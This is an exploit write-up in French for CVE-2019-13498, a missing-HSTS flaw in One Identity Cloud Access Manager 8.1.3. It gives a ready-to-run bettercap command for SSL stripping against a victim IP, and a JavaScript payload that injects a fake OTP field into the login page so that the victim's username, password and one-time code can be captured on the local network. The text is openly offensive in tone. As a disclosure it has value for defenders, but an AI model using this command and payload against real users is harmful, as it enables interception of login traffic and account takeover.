CVE-2019-13498
Titre de l'exploit : MITM - Absence de HSTS entraînant le vol d'identifiants et la manipulation de contenu
Date : 07/10/2019
Auteur de l'exploit : Furqan Khan
Page d'accueil du fournisseur : https://www.oneidentity.com/
Lien du logiciel : https://www.oneidentity.com/products/cloud-access-manager/
Version : 8.1.3
Testé sur : Kali Linux , Windows 7 ,Ubantu 16.04
Pour mener l'attaque MITM et voler le nom d'utilisateur, le mot de passe et l'OTP, nous utilisons bettercap 1.6. Idéalement, la case OTP est remplie sur la deuxième page de l'application, après que l'utilisateur s'est authentifié avec un nom d'utilisateur et un mot de passe légitimes. Cependant, nous utilisons SSL strip et la manipulation de contenu pour injecter une case OTP sur la même page où le nom d'utilisateur et le mot de passe sont demandés. Une victime peut penser que ce changement vient de l'application elle-même, et partagera son nom d'utilisateur, son mot de passe et son OTP, puis soumettra le formulaire. L'attaquant, qui a configuré bettercap et le proxy, obtiendra les informations d'identification et l'OTP, et les utilisera pour se connecter à l'application.
La commande bettercap utilisée est :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Ici, 192.168.1.103 est l'adresse IP de la victime. Si nous ne la connaissons pas, nous pouvons utiliser bettercap pour renifler et manipuler le contenu de tout le LAN (réseau commun de l'attaquant et de la victime).
Le contenu de inject_js.js est donné ci-dessous
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Désormais, lorsque la victime navigue sur le produit (Cloud access manager), en raison de l'empoisonnement du cache et du SSL strip (Bettercap), une case OTP sera injectée dans la page servie à la victime via le snippet JavaScript injecté

Étant donné que la connexion est rétrogradée en http via ssl-strip, tout le trafic est désormais visible par l'attaquant. Ainsi, nous pouvons intercepter le trafic et voir le nom d'utilisateur, le mot de passe et l'OTP soumis par la victime.

Bingo ! C'était facile !